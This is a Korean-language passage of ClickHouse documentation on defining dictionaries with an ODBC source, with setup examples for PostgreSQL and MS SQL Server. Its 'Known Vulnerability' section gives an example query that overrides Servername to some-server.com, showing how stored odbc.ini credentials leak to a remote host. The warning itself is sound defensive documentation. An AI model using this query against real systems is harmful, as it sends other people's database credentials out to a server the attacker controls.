CREATE DICTIONARY ... SOURCE ODBC

ODBC 드라이버가 있는 모든 데이터베이스에 이 방법으로 연결할 수 있어요.

출처: 문서

본문

설정 예시:

DDL
Configuration file

SOURCE(ODBC(
    db 'DatabaseName'
    table 'SchemaName.TableName'
    connection_string 'DSN=some_parameters'
    invalidate_query 'SQL_QUERY'
    query 'SELECT id, value_1, value_2 FROM db_name.table_name'
))

<source>
    <odbc>
        <db>DatabaseName</db>
        <table>ShemaName.TableName</table>
        <connection_string>DSN=some_parameters</connection_string>
        <invalidate_query>SQL_QUERY</invalidate_query>
        <query>SELECT id, value_1, value_2 FROM ShemaName.TableName</query>
    </odbc>
</source>

설정 필드:

Setting	Description
`db`	데이터베이스의 이름이에요. 데이터베이스 이름이 `<connection_string>` 파라미터에 설정되어 있으면 생략하세요.
`table`	스키마가 있으면 테이블 및 스키마의 이름이에요.
`connection_string`	연결 문자열이에요.
`invalidate_query`	딕셔너리 상태를 확인하는 쿼리예요. 선택 사항이에요. Refreshing dictionary data using LIFETIME 섹션에서 자세히 알아보세요.
`background_reconnect`	연결이 실패하면 백그라운드에서 리플리카에 다시 연결해요. 선택 사항이에요.
`query`	사용자 정의 쿼리예요. 선택 사항이에요.

table과 query 필드는 함께 사용할 수 없어요. 그리고 table 또는 query 필드 중 하나는 반드시 선언해야 합니다.

ClickHouse는 ODBC 드라이버에서 인용 기호를 받아 드라이버에 대한 쿼리의 모든 설정을 인용하므로, 데이터베이스의 테이블 이름 대소문자에 맞게 테이블 이름을 설정해야 해요.

Oracle 사용 시 인코딩 문제가 있다면 해당 FAQ 항목을 참고하세요.

Known Vulnerability of the ODBC Dictionary Functionality

ODBC 드라이버 연결 파라미터 Servername을 통해 데이터베이스에 연결할 때 대체될 수 있어요. 이 경우 odbc.ini의 USERNAME과 PASSWORD 값이 원격 서버로 전송되어 유출될 수 있습니다.

불안전한 사용 예시

PostgreSQL용 unixODBC를 구성해 봐요. /etc/odbc.ini의 내용:

[gregtest]
Driver = /usr/lib/psqlodbca.so
Servername = localhost
PORT = 5432
DATABASE = test_db
#OPTION = 3
USERNAME = test
PASSWORD = test

그런 다음 다음과 같은 쿼리를 만들면:

SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');

ODBC 드라이버는 odbc.ini의 USERNAME과 PASSWORD 값을 some-server.com로 보냅니다.

Example of Connecting Postgresql

Ubuntu OS.

unixODBC와 PostgreSQL용 ODBC 드라이버 설치:

$ sudo apt-get install -y unixodbc odbcinst odbc-postgresql

/etc/odbc.ini(또는 ClickHouse를 실행하는 사용자로 로그인했다면 ~/.odbc.ini) 구성:

    [DEFAULT]
    Driver = myconnection

    [myconnection]
    Description         = PostgreSQL connection to my_db
    Driver              = PostgreSQL Unicode
    Database            = my_db
    Servername          = 127.0.0.1
    UserName            = username
    Password            = password
    Port                = 5432
    Protocol            = 9.3
    ReadOnly            = No
    RowVersioning       = No
    ShowSystemTables    = No
    ConnSettings        =

ClickHouse의 딕셔너리 구성:

DDL
Configuration file

CREATE DICTIONARY table_name (
    id UInt64,
    some_column UInt64 DEFAULT 0
)
PRIMARY KEY id
SOURCE(ODBC(connection_string 'DSN=myconnection' table 'postgresql_table'))
LAYOUT(HASHED())
LIFETIME(MIN 300 MAX 360)

<clickhouse>
    <dictionary>
        <name>table_name</name>
        <source>
            <odbc>
                <!-- You can specify the following parameters in connection_string: -->
                <!-- DSN=myconnection;UID=username;PWD=password;HOST=127.0.0.1;PORT=5432;DATABASE=my_db -->
                <connection_string>DSN=myconnection</connection_string>
                <table>postgresql_table</table>
            </odbc>
        </source>
        <lifetime>
            <min>300</min>
            <max>360</max>
        </lifetime>
        <layout>
            <hashed/>
        </layout>
        <structure>
            <id>
                <name>id</name>
            </id>
            <attribute>
                <name>some_column</name>
                <type>UInt64</type>
                <null_value>0</null_value>
            </attribute>
        </structure>
    </dictionary>
</clickhouse>

드라이버가 있는 라이브러리의 전체 경로를 DRIVER=/usr/local/lib/psqlodbcw.so로 지정하려면 odbc.ini를 편집해야 할 수 있어요.

Example of Connecting MS SQL Server

Ubuntu OS.

MS SQL에 연결하기 위한 ODBC 드라이버 설치:

$ sudo apt-get install tdsodbc freetds-bin sqsh

드라이버 구성:

    $ cat /etc/freetds/freetds.conf
    ...

    [MSSQL]
    host = 192.168.56.101
    port = 1433
    tds version = 7.0
    client charset = UTF-8

    # test TDS connection
    $ sqsh -S MSSQL -D database -U user -P password

    $ cat /etc/odbcinst.ini

    [FreeTDS]
    Description     = FreeTDS
    Driver          = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
    Setup           = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
    FileUsage       = 1
    UsageCount      = 5

    $ cat /etc/odbc.ini
    # $ cat ~/.odbc.ini # if you signed in under a user that runs ClickHouse

    [MSSQL]
    Description     = FreeTDS
    Driver          = FreeTDS
    Servername      = MSSQL
    Database        = test
    UID             = test
    PWD             = test
    Port            = 1433

    # (optional) test ODBC connection (to use isql-tool install the [unixodbc](https://packages.debian.org/sid/unixodbc)-package)
    $ isql -v MSSQL "user" "password"

발견 사항:

특정 SQL Server 버전이 지원하는 가장 이른 TDS 버전을 확인하려면 제품 문서를 참조하거나 MS-TDS Product Behavior를 보세요.

ClickHouse에서 딕셔너리 구성:

DDL
Configuration file

CREATE DICTIONARY test (
    k UInt64,
    s String DEFAULT ''
)
PRIMARY KEY k
SOURCE(ODBC(table 'dict' connection_string 'DSN=MSSQL;UID=test;PWD=test'))
LAYOUT(FLAT())
LIFETIME(MIN 300 MAX 360)

<clickhouse>
    <dictionary>
        <name>test</name>
        <source>
            <odbc>
                <table>dict</table>
                <connection_string>DSN=MSSQL;UID=test;PWD=test</connection_string>
            </odbc>
        </source>

        <lifetime>
            <min>300</min>
            <max>360</max>
        </lifetime>

        <layout>
            <flat />
        </layout>

        <structure>
            <id>
                <name>k</name>
            </id>
            <attribute>
                <name>s</name>
                <type>String</type>
                <null_value></null_value>
            </attribute>
        </structure>
    </dictionary>
</clickhouse>

CREATE DICTIONARY ... SOURCE ODBC